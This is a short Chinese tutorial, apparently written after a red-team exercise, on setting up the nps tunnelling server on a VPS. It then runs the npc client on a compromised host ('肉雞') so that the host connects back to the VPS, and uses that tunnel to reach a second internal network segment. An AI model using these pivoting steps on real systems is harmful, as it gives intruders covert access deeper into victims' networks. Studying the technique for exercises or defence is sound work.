攻防演練有看到大哥用這個做代理,今天學習一下
一、安裝
https://github.com/ehang-io/nps/releases (下載Linux版本的先試試)
上傳至服務器,新建一個nps的文件夾,然后解壓:
mkdir nps
tar -xzvf linux_amd64_server.tar.gz -C ./nps
然后輸入命令啟動,啟動后即可訪問如下登錄管理頁面,默認賬號密碼為:admin/123 (記得快速修改初始密碼)
./nps start
在/etc/nps/conf/文件內可以查看到默認的賬號密碼,修改之,然后再重啟一下nps:
nps restart
在壓縮包下也是有個一樣的配置文件的,千萬別改錯了!要改的一定是/etc/nps/的
然后登錄就可以看到頁面了:
這樣就安裝好了。
二、使用
登錄nps:
然后點擊新增客戶端,到下面的截圖:(自行設置賬號密碼,這個將會作為你的隧道的密碼進行使用)
填寫好就可以新增了!記住下面這個密鑰:
這些都有了,那應該直接接下來怎么做了吧,同樣的,在肉雞運行nps的命令,然后就能做代理了,我們試試吧!
(1)以下時Windows客戶端的,下載對應的版本然后輸入下述命令:
npc.exe -server=你的vps:8024 -vkey=客戶端的密鑰
(2)以下時Linux客戶端的,下載對應的版本然后輸入下述命令:
./npc -server=你的vps:8024 -vkey=客戶端的密鑰
到這一步時,你已經成功了一半,因為在肉雞上運行以上命令將會成功建立好隧道:
肉雞運行:
npc.exe -server=192.168.43.234:8024 -vkey=客戶端的密鑰
web頁面會出現上線的提示:
最后:在上線的主機的隧道處點擊,並添加響應的隧道,就可以建立與其他網段的通信了:
然后測試一下連接:
最后就能成功訪問第二層網絡(192.168.127.x網段)了:
以上,簡單的使用nps建立隧道的任務就完成了!其余使用教程請參考:https://ehang-io.github.io/nps/#/use